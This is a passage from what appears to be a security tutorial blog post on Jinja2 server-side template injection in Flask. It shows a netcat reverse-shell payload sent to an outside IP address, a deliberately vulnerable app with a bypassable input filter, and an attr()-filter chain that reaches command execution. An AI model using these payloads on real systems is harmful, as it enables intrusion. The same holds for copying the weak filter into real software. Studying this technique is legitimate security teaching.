https://substackcdn.com/image/fetch/$s_!V6Ho!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb07a856-1d82-4d69-8f2a-6ad9158177ca.heic 848w, https://substackcdn.com/image/fetch/$s_!V6Ho!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb07a856-1d82-4d69-8f2a-6ad9158177ca.heic 1272w, https://substackcdn.com/image/fetch/$s_!V6Ho!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb07a856-1d82-4d69-8f2a-6ad9158177ca.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div><figcaption class="image-caption">Command execution was successful!</figcaption></figure></div><p>Now I will try a simple <code>nc 172.16.202.130 4444 -e /usr/bin/bash</code><br><code>{{self.__init__.__globals__.__builtins__.__import__('os').system("nc 172.16.202.130 4444 -e /usr/bin/bash")}}</code></p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!nym7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F063b8844-1cd5-41ce-a4f3-f8bfdf459ff7.heic 424w, https://substackcdn.com/image/fetch/$s_!nym7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F063b8844-1cd5-41ce-a4f3-f8bfdf459ff7.heic 848w, https://substackcdn.com/image/fetch/$s_!nym7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F063b8844-1cd5-41ce-a4f3-f8bfdf459ff7.heic 1272w, https://substackcdn.com/image/fetch/$s_!nym7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F063b8844-1cd5-41ce-a4f3-f8bfdf459ff7.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!nym7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F063b8844-1cd5-41ce-a4f3-f8bfdf459ff7.heic" width="1456" height="151" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/063b8844-1cd5-41ce-a4f3-f8bfdf459ff7.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:151,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:29557,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!nym7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F063b8844-1cd5-41ce-a4f3-f8bfdf459ff7.heic 424w, https://substackcdn.com/image/fetch/$s_!nym7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F063b8844-1cd5-41ce-a4f3-f8bfdf459ff7.heic 848w, https://substackcdn.com/image/fetch/$s_!nym7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F063b8844-1cd5-41ce-a4f3-f8bfdf459ff7.heic 1272w, https://substackcdn.com/image/fetch/$s_!nym7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F063b8844-1cd5-41ce-a4f3-f8bfdf459ff7.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!UKow!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd7d9312-464a-4ece-9fc6-40c88fc87da4.heic 424w, https://substackcdn.com/image/fetch/$s_!UKow!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd7d9312-464a-4ece-9fc6-40c88fc87da4.heic 848w, https://substackcdn.com/image/fetch/$s_!UKow!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd7d9312-464a-4ece-9fc6-40c88fc87da4.heic 1272w, https://substackcdn.com/image/fetch/$s_!UKow!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd7d9312-464a-4ece-9fc6-40c88fc87da4.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!UKow!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd7d9312-464a-4ece-9fc6-40c88fc87da4.heic" width="1327" height="127" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cd7d9312-464a-4ece-9fc6-40c88fc87da4.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:127,&quot;width&quot;:1327,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:14021,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!UKow!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd7d9312-464a-4ece-9fc6-40c88fc87da4.heic 424w, https://substackcdn.com/image/fetch/$s_!UKow!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd7d9312-464a-4ece-9fc6-40c88fc87da4.heic 848w, https://substackcdn.com/image/fetch/$s_!UKow!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd7d9312-464a-4ece-9fc6-40c88fc87da4.heic 1272w, https://substackcdn.com/image/fetch/$s_!UKow!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd7d9312-464a-4ece-9fc6-40c88fc87da4.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><h1>Sanitise the input</h1><div><hr></div><p>We used the python attributes to exploit SSTI until RCE, this time my code checks for <code>.__</code> which should stop SSTI exploitation right? right? I mean RIGHT?</p><pre><code><code>from flask import render_template_string, request, Flask

app = Flask(__name__)


@app.route('/')
def index():
    if request.args.get("text"):
        txt = request.args.get("text")
        if ".__" in txt:
            return "Illegal template!"
        else:
            return render_template_string(txt)
    else:
        return "Use http://127.0.0.1:5000/?text=write_anything_here"


if __name__ == "__main__":
    app.run()</code></code></pre><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!iLTu!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc50183ac-9c8c-457a-a801-91e643b4a8c3.heic 424w, https://substackcdn.com/image/fetch/$s_!iLTu!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc50183ac-9c8c-457a-a801-91e643b4a8c3.heic 848w, https://substackcdn.com/image/fetch/$s_!iLTu!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc50183ac-9c8c-457a-a801-91e643b4a8c3.heic 1272w, https://substackcdn.com/image/fetch/$s_!iLTu!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc50183ac-9c8c-457a-a801-91e643b4a8c3.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!iLTu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc50183ac-9c8c-457a-a801-91e643b4a8c3.heic" width="620" height="116" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c50183ac-9c8c-457a-a801-91e643b4a8c3.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:116,&quot;width&quot;:620,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:8043,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!iLTu!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc50183ac-9c8c-457a-a801-91e643b4a8c3.heic 424w, https://substackcdn.com/image/fetch/$s_!iLTu!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc50183ac-9c8c-457a-a801-91e643b4a8c3.heic 848w, https://substackcdn.com/image/fetch/$s_!iLTu!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc50183ac-9c8c-457a-a801-91e643b4a8c3.heic 1272w, https://substackcdn.com/image/fetch/$s_!iLTu!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc50183ac-9c8c-457a-a801-91e643b4a8c3.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!3zQE!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9a8337d-2013-4783-9342-20db7468dc59.heic 424w, https://substackcdn.com/image/fetch/$s_!3zQE!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9a8337d-2013-4783-9342-20db7468dc59.heic 848w, https://substackcdn.com/image/fetch/$s_!3zQE!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9a8337d-2013-4783-9342-20db7468dc59.heic 1272w, https://substackcdn.com/image/fetch/$s_!3zQE!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9a8337d-2013-4783-9342-20db7468dc59.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3zQE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9a8337d-2013-4783-9342-20db7468dc59.heic" width="656" height="116" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b9a8337d-2013-4783-9342-20db7468dc59.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:116,&quot;width&quot;:656,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:8434,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!3zQE!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9a8337d-2013-4783-9342-20db7468dc59.heic 424w, https://substackcdn.com/image/fetch/$s_!3zQE!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9a8337d-2013-4783-9342-20db7468dc59.heic 848w, https://substackcdn.com/image/fetch/$s_!3zQE!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9a8337d-2013-4783-9342-20db7468dc59.heic 1272w, https://substackcdn.com/image/fetch/$s_!3zQE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9a8337d-2013-4783-9342-20db7468dc59.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ksLQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910735b4-2fa8-4969-9148-8eaf2dbbc2a4.heic 424w, https://substackcdn.com/image/fetch/$s_!ksLQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910735b4-2fa8-4969-9148-8eaf2dbbc2a4.heic 848w, https://substackcdn.com/image/fetch/$s_!ksLQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910735b4-2fa8-4969-9148-8eaf2dbbc2a4.heic 1272w, https://substackcdn.com/image/fetch/$s_!ksLQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910735b4-2fa8-4969-9148-8eaf2dbbc2a4.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ksLQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910735b4-2fa8-4969-9148-8eaf2dbbc2a4.heic" width="656" height="116" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/910735b4-2fa8-4969-9148-8eaf2dbbc2a4.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:116,&quot;width&quot;:656,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:8345,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ksLQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910735b4-2fa8-4969-9148-8eaf2dbbc2a4.heic 424w, https://substackcdn.com/image/fetch/$s_!ksLQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910735b4-2fa8-4969-9148-8eaf2dbbc2a4.heic 848w, https://substackcdn.com/image/fetch/$s_!ksLQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910735b4-2fa8-4969-9148-8eaf2dbbc2a4.heic 1272w, https://substackcdn.com/image/fetch/$s_!ksLQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F910735b4-2fa8-4969-9148-8eaf2dbbc2a4.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p>Yeah, it seems to stop the SSTI... but really?</p><h1>Understanding filters in Jinja2</h1><div><hr></div><p><a href="https://jinja.palletsprojects.com/en/3.1.x/templates/#builtin-filters">Jinja2 builtin filters</a> is a good reference to start.<br>The builtin filter <code>attr()</code> return an attribute of an object, so for instance <code>self.__init__</code> we can call it by <code>self|attr("__init__")</code> you realize I have already bypass the <code>.__</code>.<code><br></code></p><h1>Bypass the check and exploit it!</h1><div><hr></div><p><code>{{self|attr("__class__")}}</code></p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!AEWD!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ebf758b-873c-447b-8664-92f35a47d487.heic 424w, https://substackcdn.com/image/fetch/$s_!AEWD!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ebf758b-873c-447b-8664-92f35a47d487.heic 848w, https://substackcdn.com/image/fetch/$s_!AEWD!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ebf758b-873c-447b-8664-92f35a47d487.heic 1272w, https://substackcdn.com/image/fetch/$s_!AEWD!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ebf758b-873c-447b-8664-92f35a47d487.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!AEWD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ebf758b-873c-447b-8664-92f35a47d487.heic" width="656" height="116" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5ebf758b-873c-447b-8664-92f35a47d487.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:116,&quot;width&quot;:656,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:10319,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!AEWD!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ebf758b-873c-447b-8664-92f35a47d487.heic 424w, https://substackcdn.com/image/fetch/$s_!AEWD!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ebf758b-873c-447b-8664-92f35a47d487.heic 848w, https://substackcdn.com/image/fetch/$s_!AEWD!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ebf758b-873c-447b-8664-92f35a47d487.heic 1272w, https://substackcdn.com/image/fetch/$s_!AEWD!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5ebf758b-873c-447b-8664-92f35a47d487.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p>Then gradually increase the complexity of the payload to test further.<br><code>{{self|attr("__init__")}}</code></p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ZQY3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fe9a6ed-af3e-477c-b786-24e7892eaa30.heic 424w, https://substackcdn.com/image/fetch/$s_!ZQY3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fe9a6ed-af3e-477c-b786-24e7892eaa30.heic 848w, https://substackcdn.com/image/fetch/$s_!ZQY3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fe9a6ed-af3e-477c-b786-24e7892eaa30.heic 1272w, https://substackcdn.com/image/fetch/$s_!ZQY3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fe9a6ed-af3e-477c-b786-24e7892eaa30.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ZQY3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fe9a6ed-af3e-477c-b786-24e7892eaa30.heic" width="656" height="116" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8fe9a6ed-af3e-477c-b786-24e7892eaa30.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:116,&quot;width&quot;:656,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:12052,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ZQY3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fe9a6ed-af3e-477c-b786-24e7892eaa30.heic 424w, https://substackcdn.com/image/fetch/$s_!ZQY3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fe9a6ed-af3e-477c-b786-24e7892eaa30.heic 848w, https://substackcdn.com/image/fetch/$s_!ZQY3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fe9a6ed-af3e-477c-b786-24e7892eaa30.heic 1272w, https://substackcdn.com/image/fetch/$s_!ZQY3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8fe9a6ed-af3e-477c-b786-24e7892eaa30.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p><code>{{self|attr("__init__")|attr("__globals__")}}</code></p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OsGG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F860ba4b4-225e-43fd-a4a8-eb29e9592694.heic 424w, https://substackcdn.com/image/fetch/$s_!OsGG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F860ba4b4-225e-43fd-a4a8-eb29e9592694.heic 848w, https://substackcdn.com/image/fetch/$s_!OsGG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F860ba4b4-225e-43fd-a4a8-eb29e9592694.heic 1272w, https://substackcdn.com/image/fetch/$s_!OsGG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F860ba4b4-225e-43fd-a4a8-eb29e9592694.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OsGG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F860ba4b4-225e-43fd-a4a8-eb29e9592694.heic" width="934" height="185" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/860ba4b4-225e-43fd-a4a8-eb29e9592694.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:185,&quot;width&quot;:934,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:52589,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!OsGG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F860ba4b4-225e-43fd-a4a8-eb29e9592694.heic 424w, https://substackcdn.com/image/fetch/$s_!OsGG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F860ba4b4-225e-43fd-a4a8-eb29e9592694.heic 848w, https://substackcdn.com/image/fetch/$s_!OsGG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F860ba4b4-225e-43fd-a4a8-eb29e9592694.heic 1272w, https://substackcdn.com/image/fetch/$s_!OsGG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F860ba4b4-225e-43fd-a4a8-eb29e9592694.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p>Using the command injection payload will look like this with builtin filters:<br><code>{{self|attr("__init__")|attr("__globals__")|attr("__builtins__")|attr("__import__")("os").system("/usr/bin/touch /tmp/bypass_test.txt")}}</code></p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" 